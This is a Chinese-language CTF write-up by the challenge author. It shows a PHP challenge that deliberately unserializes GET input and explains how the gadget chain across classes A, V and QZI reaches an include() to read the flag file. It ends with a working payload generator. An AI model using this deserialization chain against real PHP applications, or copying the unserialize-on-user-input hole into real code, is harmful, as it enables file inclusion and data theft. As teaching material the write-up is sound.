POP链

    这次出了一题校内CTF的Web题目,这次出的是一个php的Pop链的题目(如果有不知道的小伙伴可以先去看看php的反序列化漏洞),也是第一次出题,当一次出题人哈哈哈哈哈哈。那我们来看一下题目吧。

题目:#

<?php
//flag is in flag_change
highlight_file(__FILE__);
error_reporting(0);
class QZI {
    private $lalala;
    public function qziedu($value)
    {
        include($value);
        echo $flag;
    }
    public function __invoke(){
        $this->qziedu($this->lalala);
    }
}

class A{
    public $qian;
    public $yu;
    public function __toString(){
        return $this->yu->qian;
    }
    public function __wakeup(){
        echo $this->qian;
    }
}

class V{
    public $py;
    public function __construct(){
        $this->py = array();
    }

    public function __get($key){
        $function = $this->py;
        return $function();
    }
}

if(isset($_GET['pop'])){
    unserialize($_GET['pop']);
}
?>

Pop链构造#

    这题可以直接看到源代码中提示//flag is in flag_change;有一个方法qziedu()可以包含一个文件,并且echo了变量flag,那很明显我们只要给$value赋值为flag_change并且触发了这个函数就可以得到flag

public function qziedu($value)
    {
        include($value);
        echo $flag;
    }

    接下来我们来分析一下怎么调用这个方法;要想调用这个方法我们需要构造一系列的payload,也就是pop链。

    上面提到了我们需要调用方法qziedu()来获得flag;那qziedu()是在__invoke()下,__invoke()的触发条件是以函数的方式调用对象时触发,在代码里面V类的__get()是可以把对象当成函数调用的。

public function __get($key){
        $function = $this->py;
        return $function();
    }

    这里的return $function();看起来很正常,但是这个$function()是一个可控的变量,是由$py赋予的。那就可以把qziedu()赋值给$py来完成__invoke的触发。

    显然这两句代码不是凭空触发的,是在__get()下的两句代码。__get()的触发需要获得一个不能访问的成员属性时触发。审计一下源码能发现调用成员属性的只有A类和V类里面有,V类里有着__wakeup模式方法,触发后会输出变量yu的成员qianyu,那这很明显就是我们需要的东西;我们反序列化时会触发__wakeup()然后输出变量qian,我们只要把qian赋值为当前类实例的对象,就可以触发__toString()去调用成员,那yu只要赋值为V类实例的对象,就可以完成__get()的触发。

class A{
    public $qian;
    public $yu;
    public function __toString(){
        return $this->yu->qian;
    }
    public function __wakeup(){
        echo $this->qian;
    }
}

    至此完成整个Pop链的构造。我们整理一下链子:

A.wakeup --> A.toString -> V.get --> qzi.invoke -->  get flag

payload#

<?php
//flag is in flag_change
highlight_file(__FILE__);
error_reporting(0);
class QZI  {
    private $lalala = "flag.php";
}

class A{
    public $qian;
    public $yu;
}

class V{
    public $py;
}


$qzi = new QZI();             #实例化QZI
$v = new V();                 #实例化V
$v -> py = $qzi;              #将py赋值位qzi,为的是触发QZI类的中的__invoke
$a = new A();                 #实例化A
$a -> qian = $a;              #因为要触发__toString,并且是wakeup,所以这里要写自己的实例
$a -> yu = $v;                #这里就是调用V函数的__get

echo urlencode(serialize($a));

作者:qianyuzz

出处:https://www.cnblogs.com/qianyuzz/p/17868151.html

版权:本作品采用「署名-非商业性使用-相同方式共享 4.0 国际」许可协议进行许可。

posted @   qianyuzz  阅读(63)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· winform 绘制太阳,地球,月球 运作规律
· AI与.NET技术实操系列(五):向量存储与相似性搜索在 .NET 中的实现
· 超详细:普通电脑也行Windows部署deepseek R1训练数据并当服务器共享给他人
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
· 上周热点回顾(3.3-3.9)
more_horiz
keyboard_arrow_up dark_mode palette
选择主题
menu
点击右上角即可分享
微信分享提示